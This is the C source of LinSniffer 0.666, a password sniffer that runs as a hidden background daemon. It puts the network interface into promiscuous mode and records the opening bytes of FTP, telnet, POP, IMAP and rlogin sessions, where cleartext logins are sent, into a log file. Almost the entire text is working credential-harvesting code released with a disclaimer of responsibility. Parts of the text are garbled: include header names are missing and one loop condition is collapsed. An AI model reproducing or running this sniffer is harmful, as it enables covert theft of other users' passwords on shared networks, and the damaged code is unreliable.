// LinSniffer 0.666 // by humble of rhino9 // I am not responsible for what you do with this. // This is like linsniffer, but it uses a linked list // so it won't ignore any connections. // based on original code by Mike Edulla // how many bytes do you want to capture per connection? // it mallocs this much memory for each connection so don't // make it too high #define MAXIMUM_CAPTURE 256 // how long before we stop watching an idle connection? #define TIMEOUT 30 // log file name? #define LOGNAME "tcp.log" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int sock; FILE *log; struct connection { struct connection *next; time_t start; time_t lasthit; unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; unsigned char data[MAXIMUM_CAPTURE]; int bytes; }; typedef struct connection *clistptr; clistptr head,tail; void add_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp) { clistptr newnode; newnode=(clistptr)malloc(sizeof(struct connection)); newnode->saddr=sa; newnode->daddr=da; newnode->sport=sp; newnode->dport=dp; newnode->bytes=0; newnode->next=NULL; time(&(newnode->start)); time(&(newnode->lasthit)); if (!head) { head=newnode; tail=newnode; } else { tail->next=newnode; tail=newnode; } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } char *pretty(time_t *t) { char *time; time=ctime(t); time[strlen(time)-6]=0; return time; } int remove_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp) { clistptr walker,prev; int i=0; int t=0; if (head) { walker=head; prev=head; while (walker) { if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport) { prev->next=walker->next; if (walker==head) { head=head->next;; prev=NULL; } if (walker==tail) tail=prev; fprintf(log,"============================================================\n"); fprintf(log,"Time: %s Size: %d\nPath: %s",pretty(&(walker->start)),walker->bytes,hostlookup(sa)); fprintf(log," => %s [%d]\n------------------------------------------------------------\n",hostlookup(da),ntohs(dp)); fflush(log); for (i=0;ibytes;i++) { if (walker->data[i]==13) { fprintf(log,"\n"); t=0; } if (isprint(walker->data[i])) { fprintf(log,"%c",walker->data[i]); t++; } if (t>75) { t=0; fprintf(log,"\n"); } } fprintf(log,"\n"); fflush(log); free (walker); return 1; } prev=walker; walker=walker->next; } } } int log_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp,int bytes,char *buffer) { clistptr walker; walker=head; while (walker) { if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport) { time(&(walker->lasthit)); strncpy(walker->data+walker->bytes,buffer,MAXIMUM_CAPTURE-walker->bytes); walker->bytes=walker->bytes+bytes; if (walker->bytes>=MAXIMUM_CAPTURE) { walker->bytes=MAXIMUM_CAPTURE; remove_node(sa,da,sp,dp); return 1; } } walker=walker->next; } } void setup_interface(char *device); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; } ep; struct iphdr *ip; struct tcphdr *tcp; void cleanup(int sig) { if (sock) close(sock); if (log) { fprintf(log,"\nExiting...\n"); fclose(log); } exit(0); } void purgeidle(int sig) { clistptr walker; time_t curtime; walker=head; signal(SIGALRM, purgeidle); alarm(5); // printf("Purging idle connections...\n"); time(&curtime); while (walker) { if (curtime - walker->lasthit > TIMEOUT) { // printf("Removing node: %d,%d,%d,%d\n",walker->saddr,walker->daddr,walker->sport,walker->dport); remove_node(walker->saddr,walker->daddr,walker->sport,walker->dport); walker=head; } else walker=walker->next; } } void setup_interface(char *device) { int fd; struct ifreq ifr; int s; //open up our magic SOCK_PACKET fd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } //set our device into promiscuous mode strcpy(ifr.ifr_name, device); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscuous mode"); sock=fd; } int filter(void) { int p; p=0; if(ip->protocol != 6) return 0; p=0; if (htons(tcp->dest) == 21) p= 1; if (htons(tcp->dest) == 23) p= 1; if (htons(tcp->dest) == 106) p= 1; if (htons(tcp->dest) == 109) p= 1; if (htons(tcp->dest) == 110) p= 1; if (htons(tcp->dest) == 143) p= 1; if (htons(tcp->dest) == 513) p= 1; if (!p) return 0; if(tcp->syn == 1) { // printf("Adding node syn %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest); add_node(ip->saddr,ip->daddr,tcp->source,tcp->dest); } if (tcp->rst ==1) { // printf("Removed node rst %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest); remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest); } if (tcp->fin ==1) { // printf("Removed node fin %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest); remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest); } log_node(ip->saddr,ip->daddr,tcp->source,tcp->dest,htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); } void main(int argc, char *argv[]) { int x,dn; clistptr c; head=tail=NULL; ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); if (fork()==0) { close(0); close(1); close(2); setsid(); dn=open("/dev/null",O_RDWR); dup2(0,dn); dup2(1,dn); dup2(2,dn); close(dn); setup_interface("eth0"); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); signal(SIGALRM, purgeidle); log=fopen(LOGNAME,"a"); if (log == NULL) { fprintf(stderr, "cant open log\n"); exit(0); } alarm(5); while (1) { x=read(sock, (struct etherpacket *)&ep, sizeof(struct etherpacket)); if (x>1) { filter(); } } } }